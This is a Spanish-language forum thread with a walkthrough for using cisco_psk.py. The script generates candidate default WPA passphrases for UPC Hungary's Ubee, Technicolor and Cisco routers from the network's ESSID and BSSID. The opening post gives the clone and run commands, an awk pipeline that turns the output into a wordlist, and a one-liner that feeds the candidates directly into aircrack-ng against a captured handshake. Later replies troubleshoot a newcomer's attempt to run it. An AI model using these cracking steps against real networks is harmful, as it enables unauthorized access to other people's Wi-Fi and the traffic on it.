cisco_psk.py para routers Ubee, Technicolor y Cisco de UPC

kcdtv · 24-07-2016 17:23:07

Código en python para crackear los routers de la operadora UPC en Hungría

Nombre del script: Cisco_psk.py
Autor del script y créditos: Gergely EBERHARDT (aka @ebux25)
Sito web: Search Lab
Lenguaje: Python
Licencia: Libre

Más detalles sobre la brecha explotada en: Routers Ubee, Cisco y Technicolor de la operadora UPC de Hungría
Fuente y pagina del código original: Cisco EPC3925 UPC modem/router default passphrase vulnerabilities

No voy a volver sobre lo comentado en el hilo citado anteriormente, aquí solo vamos a ver como se usa el script para explotar la brecha.

Paso uno

Descargamos el código desde su rama Git Hub

git clone https://github.com/ebux/Cable-modems.git

PD : Si no tienes git instalado debes instalarlo

sudo apt-get install git

Paso dos

Nos situamos en el directorio adecuado.
En la misma terminal tecleamos

cd /Cable-modems/Cisco

Paso tres

Ejecutamos el script invocando su interprete (python)

python cisco_psk.py

Obtenemos las instrucciones de uso:

Uso básico

Debemos entrar el final del eSSID (Los X en UPC_XXXXXX) y el bSSID entero
Obtendremos así varias contraseñas con el numero de serie al cuál corresponden.

Para un ordenador de recursos modestos como el mio (dos núcleos a 2.1 Ghz) se tardan unos treinta minutos y he obtenido una lista de 111 contraseñas (crack instantáneo contra un handshake)
5 minutos con un buen microprocesador i5 i7 o AMD

Uso "mejorado"

Para hacer un diccionario hay que depurar la salida en consola que quitar el serial y la flecha.
Podemos ejecutar el script así

python cisco_psk.py <essid> <bssid> | awk -F' ' '{ print $3 }'  >> diccionario_para_UPCXXXXXX.txt

| awk -F' ' '{ print $3 }' - Guardamos el tercer campo de la salida estándar utilizando espacio como delimitador
>> diccionario_para_UPCXXXXXX.txt - Redirigimos la salida hacía un fichero llamado "diccionario_para_UPCXXXXXX.txt"

Podemos también crackear nuestro router UPC al vuelo (sin guardar diccionario) así :

python cisco_psk.py <essid> <bssid> | awk -F' ' '{ print $3 }' | aircrack-ng <ruta_hacía_handshake> -e <eSSID> -w-

Oscarelguapo2 · 08-05-2018 06:59:23

buenas a todos soy nuevo en el foro quiero saludarlos a todos desde mexico saludos.. y quisiera pedirles su ayuda para ejecutar el script me intereza mucho pero cuando lo quiero ejecutar en wifislax tal y como viene en las opciones no puedo llego solamente al punto donde dice que ponga xxxxx bssid hay me dice que no existe el comando se los agradesco a todos y tambien pondre mi granito de arena en lo que se ocupe

kcdtv · 08-05-2018 14:30:52

En un foro de informática debes poner las ordenes que ejecutaste. Completas y tal cuál. O sea: copias y pegas tu linea de orden y su resultado empleando la opción "texto formateado" que tienes en la barra encima del cuerpo del mensaje a redactar. . Sino no sabemos que haces y no estamos a tu lado para verlo. wink

Oscarelguapo2 · 03-06-2018 21:58:25

pues lo primero que hice fue descargar el git desde una consola con wifislax despues descargado me situé desde la carpeta cisco pero cuando ejecuto el comando sudo apt-get install me marca sudo: apt-get command not found despues tambien quiero ejecutar este comando cd /Cable-modems/Cisco y marca no existe el fichero o el directorio despues ejecuto este comando cisco_psk.py xxxxxx bssd completo y tampoco aqui dejo una imagen con mi error https://ibb.co/mxy8Ay agrade seria su ayuda

kcdtv · 04-06-2018 12:05:58

Hola.

Primer error: No hay apt o apt-get (aptitude) en skackware y/o en sistemas basados en slackware. Es para sistemas basados en debian ( debian mismo, Ubuntu, Kali Linux, Linux Mint, PureOS etc..). De todo modo, si has descargado manualmente cisco_psk.py desde github, ya está.
Segundo error: No ejecutaste correctamente el script ...
```
python cisco_psk.py <eSSID> <bSSID>
```

De paso te señalo que tienes a un espacio personal en el foro para subir imágenes y insertar las directamente en los mensajes:
Es mejor si la usas: Así no tenemos que hacer clic en un link para ver tu imagen. wink

Tema	Respuestas	Vistas	Ultimo mensaje
WiFiBroot AutoDescarga e Instalación de Dependencias por alexupps	2	191	Hoy 03:20:43 por manturis
La California promulga la primer ley contra passwords inseguros por kcdtv	2	140	Ayer 12:11:10 por kcdtv
Ejecutar HashCat en GoogleCloud por alexupps	3	182	Ayer 11:40:47 por kcdtv
Movido:: Ejecutar HashCat en GoogleCloud por alexupps
Un "vigilante" infecta a 100 000 Mikrotik para protegerlos por kcdtv	1	134	14-10-2018 21:23:30 por josep345

Foro Wifi-libre.com

Anuncio

#1 24-07-2016 17:23:07